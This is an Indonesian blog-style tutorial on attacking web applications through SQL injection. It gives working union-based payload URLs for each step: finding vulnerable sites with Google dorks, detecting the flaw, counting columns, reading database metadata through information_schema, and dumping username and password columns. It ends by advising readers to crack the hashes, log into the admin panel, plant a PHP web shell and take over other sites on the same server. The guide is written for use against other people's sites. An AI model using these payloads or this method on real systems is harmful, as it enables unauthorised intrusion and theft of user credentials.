CARA MELAKUKAN SQL INJECTION
SQL injection adalah sebuah aksi hacking yang dilakukan di
aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori
aplikasi client dan juga merupakan teknik mengeksploitasi
web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql
injection pada mysql :
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
Cari Target + Bugnya
Cara mencarinya adalah
dengan dork sql injection. Misalnya inurl:”index.php?id=”
search dengan om GOOGLE, misalkan kita mendapatkan alamat situs
http://www.target.com/index.php?id=4
Lalu
untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda
petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4’
lalu tekan enter dan apa yang terjadi
pada situs tersebut? Situsnya menampilkan pesan error, berarti parameter id tidak
di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk mengetahui
suatu web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan
perintah and+1=1--
Ketika
di tambahkan parameter +and+1=1--
pada akhir URL, situsnya tampil dengan normal karena 1=1 menghasilkan nilai
true.
http://www.target.com/index.php?id=4+and+1=1--
Dan
ketika di tambahkan parameter +and+1=2--
isi berita tidak dapat ditampilkan karena 1=2
hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9%
memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1=2--
Cari Column Yang Memiliki Celah
Injection
Setelah
saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus mencari tau
nama table dan column, tapi sebelum itu saya harus mencari tau pada column ke
berapa saya bisa melakukan Injection, untuk itu saya menggunakan perintah +order+by+
perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1--
http://www.target.com/index.php?id=4+order+by+2--
http://www.target.com/index.php?id=4+order+by+3--
http://www.target.com/index.php?id=4+order+by+4--
http://www.target.com/index.php?id=4+order+by+5--
url diatas jika di coba satu persatu akan menampilkan
situsnya secara normal. Tapi ketika saya menginputnya dengan order+by+6-- apa yang terjadi??? Browser
menampilkan pesan error. Dari pesan error tersebut bisa dipastikan terdapat 5
buah column yang terdapat disalah satu table yang belum kita ketahui namanya.
Berarti yang kita ambil sampai +order+by+5-- saja.
Gunakan Perintah Union Select
Setelah
saya mengetahui terdapat 5 buah column pada target, selanjutnya yaitu mencari
column yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+
(pakai union all select
juga bisa koq) sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--
Dan
apa yang tampak di browser tidak ada yang aneh bukan? situsnya tampil dengan
normal. Tetapi jika parameter id saya ganti menjadi -4
yang pastinya tidak ada isi data -4 di
Database.
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--
Oke disini browser menampilkan angka
2 & 3, dan angka inilah yang sering disebut dengan angka ajaib,
karena angka tersebut adalah letak column dimana attacker bisa melakukan
injeksi lebih lanjut.
Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut
anda bisa 'mengintip' beberapa informasi seperti nama database, nama
user database, versi database, sessi user dll. Untuk
melihat nama database, injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--
Dan disini browser menampilkan nama
database yaitu xyb_injector. Saya
mencoba mengintip lagi nama user database pada situs tersebut dengan
menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url injeksinya
menjadi :
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--
Ternyata user dabasenya root@localhost dan beruntung
sekali karena versi mysql yang di gunakan adalah versi 5.0.51a-community,
lho emang kenapa kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja
deh, cari target baru, hahahaha ?.
Coba
anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu column.
Bisakah meng-injeksi lebih dari satu perintah pada satu colums??? Heheheh tentu
saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah disediakan
langsung oleh mysql yaitu perintah concat(perintah1,perintah2).
Contoh dibawah ini saya meng-intip nama user dan nama database pada column ke-2
dan pada column ke-3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database()),version(),4,5--
Dapatkan Nama Table
Saya
sudah mendapatkan informasi database web tersebut, sebenarnya yang saya
butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat, versi
database yang ditampilkan adalah 5.0.51a-community dan tentu ini
memudahkan saya dalam mendapatkan table dengan menggunakan perintah table_name
pada column yang memiliki bug yaitu angka 2
atau 3 pada web tersebut.
Di akhir statement tambahkan from+information_schema.tables+where+table_schema=database()+limit+0,1--
Sehingga
urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database()+limit+0,1--
Di web tersebut tampil sebuah table
bernama "table_attacker". Untuk
melihat seluruh table sekaligus gunakan perintah group_concat(table_name) pada column yang memiliki bug, sehingga urlnya
menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--
Hihihi sip, seluruh table berhasil saya dapatkan,
diantara table tersebut, table manakah yang harus saya telusuri lebih jauh lagi???
table_user sepertinya menarik :P yuk kita lihat apa isinya.
Dapatkan
Nama Column
table_user
sudah saya dapatkan selanjutnya yaitu mencari nama column pada table tersebut,
untuk itu saya menggunakan perintah group_concat(column_name)
sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu
wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu
dengan cara mengkonversinya. Salah
satu website
yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
Contoh kata yg ingin
di konversi yaitu table_user maka akan menjadi 7461626c655f75736572
ini masih belum selesai, anda harus menambahkan angka 0 dan huruf x
pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572
dan inilah yang akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x7461626c655f75736572--
<
Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan password_id.
Dapatkan Usename & Password
Saya
sudah mendapatkan nama table “table_user” yang
berisi 2 buah column yaitu “user_id”
dan “password_id” dan
akhirnya anda sudah sampai di detik-detik terakhir yaitu menampilkan isi data
dari column tersebut. Tambahkan 0x3a pada group_concat(hasil isi column
yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah
+from+(nama table berasal)
à dimasukkan setelah angka terakhir sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,password_id),4,5+from+table_user--
Tampillah seluruh username dan password dari situs tersebut. Biasanya password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang menyediakan cracking password atau dengan tool cracking password. Setelah itu anda tinggal mencari halaman log in admin dan masuki sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga semua website yang berada dalam 1 server yang sama dengan website yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut, berbahaya sekali bukan?